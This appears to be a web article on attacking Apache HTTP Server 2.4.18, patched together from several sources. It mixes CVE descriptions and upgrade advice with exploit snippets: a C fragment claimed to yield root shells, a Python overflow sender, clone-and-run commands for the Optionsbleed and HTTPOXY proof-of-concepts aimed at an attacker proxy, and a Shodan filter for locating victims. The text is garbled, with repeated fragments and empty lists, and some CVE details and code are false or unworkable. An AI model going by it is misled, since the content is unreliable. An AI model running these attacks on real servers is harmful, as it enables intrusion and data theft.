If the target server was compiled with mod_http2 (not always enabled by default in 2.4.18), a separate critical vulnerability exists (CVE-2016-1546). This is a memory corruption issue in the HTTP/2 ping handler.
Using a simple C program, an attacker on a compromised host can locate the Apache scoreboard:
// Simplified exploit logic
int shmid = shmget(IPC_PRIVATE, 0, IPC_EXCL);
struct shmid_ds buf;
shmctl(shmid, IPC_STAT, &buf);
// Overwrite process slot entries to execute arbitrary code via spawn process.
When compiled and run as www-data on a 2.4.18 server, this exploit has historically yielded root shells on unpatched Ubuntu 16.04 installations.
Let's consider a hypothetical scenario involving a buffer overflow vulnerability (though, for accuracy, Apache 2.4.18 specific vulnerabilities should be checked against CVE databases).
import socket
# Hypothetical exploit - do not use maliciously
def exploit(target_ip, target_port):
# Crafting a malicious packet (example only)
malicious_packet = "A" * 1000 # Assuming a buffer size of 1024
try:
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((target_ip, target_port))
client_socket.send(malicious_packet.encode())
except Exception as e:
print(f"Failed to exploit: e")
finally:
client_socket.close()
# Example usage
exploit("192.168.1.100", 80)
git clone https://github.com/hannob/optionsbleed
python3 optionsbleed.py http://victim
You will find that unless tweaked, most exploits yield limited results. This is the reality of Apache security post-2018.
git clone https://github.com/cujanovic/HTTPOXY-PoC
cd HTTPOXY-PoC
python3 httpoxy.py -u http://victim/cgi-bin/test-cgi -p http://attproxy:8080
If you discover Apache 2.4.18 in your environment:
Content-Length and Transfer-Encoding headers.There is no single exploit.exe for Apache 2.4.18—rather, the version serves as a repository of bypass and escalation techniques. The most critical takeaway is that version 2.4.18 is a proxy for organizational neglect. Modern exploits against it are rarely zero-days; they are reliable, well-documented chaining attacks (CVE-2016-4979 -> LPE -> root) available in standard penetration testing frameworks.
If a scan reveals Apache 2.4.18 in your perimeter, treat it not as a bug report but as an emergency. Every day that server remains unpatched, it acts as a turning key for request smuggling, cache poisoning, and eventual root compromise.
Disclaimer: This article is for educational and defensive cybersecurity purposes only. Exploiting systems without explicit written permission is illegal under the Computer Fraud and Abuse Act (CFAA) and similar laws worldwide.
CVE-2016-6806: Apache HTTP Server 2.4.18 Vulnerability apache httpd 2.4.18 exploit
In 2016, a critical vulnerability was discovered in the Apache HTTP Server version 2.4.18, which is a popular open-source web server software. The vulnerability, tracked as CVE-2016-6806, is a use-after-free vulnerability in the mod_http2 module.
Vulnerability Details
The vulnerability exists in the mod_http2 module, which provides HTTP/2 protocol support for the Apache HTTP Server. The flaw occurs when handling a specially crafted HTTP/2 request, which can lead to a use-after-free condition. This allows an attacker to potentially execute arbitrary code or cause a denial-of-service (DoS) attack.
Exploit Details
The exploit for this vulnerability involves sending a specially crafted HTTP/2 request to the vulnerable Apache HTTP Server. The request must contain a specific sequence of headers and body content that triggers the use-after-free condition. Successful exploitation can lead to:
Proof-of-Concept (PoC) and Exploits
Several proof-of-concept (PoC) exploits and working exploits were released publicly, demonstrating the feasibility of the vulnerability. These exploits typically involve using tools like curl or custom scripts to send the specially crafted HTTP/2 requests to the vulnerable server.
Mitigation and Fixes
To mitigate this vulnerability, administrators can: If the target server was compiled with mod_http2
Paper and Resources
If you're looking for an in-depth paper on this topic, here are a few resources:
Keep in mind that publicly releasing exploits can be problematic, as it may put vulnerable systems at risk. Always prioritize responsible disclosure and follow best practices for vulnerability management.
Apache HTTP Server version 2.4.18, released in December 2015, is a legacy version of the software that contains several significant security vulnerabilities discovered in the years following its release. While 2.4.18 itself was intended to be a stable release, its lack of modern patches makes it a primary target for specific exploit techniques. Major Vulnerabilities in Apache 2.4.18
Because this version falls within the 2.4.17 to 2.4.38 range, it is susceptible to several high-impact exploits, most notably in local privilege escalation and memory handling. 1. Local Privilege Escalation (CVE-2019-0211)
Commonly referred to as CARPE (DIEM), this is one of the most critical exploits affecting version 2.4.18.
The Flaw: It involves an out-of-bounds array access during a "graceful restart" (apache2ctl graceful).
The Exploit: An attacker with low-level permissions on the server (such as through a compromised PHP script) can write to the shared memory used by Apache's parent process. When the server performs its daily log rotation and restarts, the parent process—which runs with root privileges—executes the attacker's code.
Impact: This allows a local user to gain full root access to the entire server. 2. Optionsbleed (CVE-2017-9798) When compiled and run as www-data on a 2
This vulnerability is an information disclosure bug that earned its name due to similarities with the infamous Heartbleed flaw.
The Flaw: It is a use-after-free bug that occurs when the server processes an OPTIONS request.
The Exploit: If a webmaster uses the Limit directive with an invalid or custom HTTP method in a .htaccess file, the server can leak small chunks of its process memory in the "Allow" header of its response.
Impact: Remote attackers can repeatedly send OPTIONS requests to scrape sensitive data, such as passwords or secret keys, from the server's memory. 3. HTTP/2 and DoS Vulnerabilities
Version 2.4.18 was among the early versions to support the mod_http2 module, which introduced several stability issues.
Thread Blocking (CVE-2019-9517): A remote attacker can exploit a denial-of-service (DoS) vulnerability by flooding the connection with requests while never reading the responses. This exhausts the server's worker threads, causing the application to stop responding.
Slow Loris on H2 (CVE-2018-17189): In versions 2.4.37 and prior, sending request bodies in a "slow loris" fashion (extremely slowly) unnecessarily occupies server threads, leading to a DoS. Summary of Risks Requirement CVE-2019-0211 Privilege Escalation Local access + Graceful restart CVE-2017-9798 Information Disclosure Specific .htaccess config CVE-2019-9517 Denial of Service mod_http2 enabled Remediation
Security researchers from organizations like Tenable and the Apache Software Foundation recommend upgrading to the latest stable version of Apache 2.4.x (currently 2.4.62 or higher) to mitigate these risks. Version 2.4.18 is no longer considered secure for production environments exposed to the internet. CVE-2017-9798 Detail - NVD
Apache HTTP Server version 2.4.18 is susceptible to critical vulnerabilities, including CVE-2019-0211, which allows local privilege escalation to root, and multiple Denial of Service (DoS) flaws targeting HTTP/2 and module handling. Security advisories urge immediate upgrading to the latest stable release (2.4.60 or later) to mitigate these risks and associated "httpoxy" vulnerabilities. For comprehensive vulnerability details, consult Apache HTTPD: CVE-2019-0211: Use After Free - Rapid7
| Platform | Exploit Type | Availability | |----------|--------------|---------------| | Metasploit Framework | Auxiliary/Scanner/http/httpoxy | ✅ Yes | | Exploit-DB | DoS via CVE-2017-9798 | ✅ EDB ID 42655 | | Shodan | Direct detection of 2.4.18 banner | ✅ High-fidelity | | Nuclei Templates | Custom risk scoring | ✅ Community templates |
Example Shodan filter:
"Apache/2.4.18" "Ubuntu"
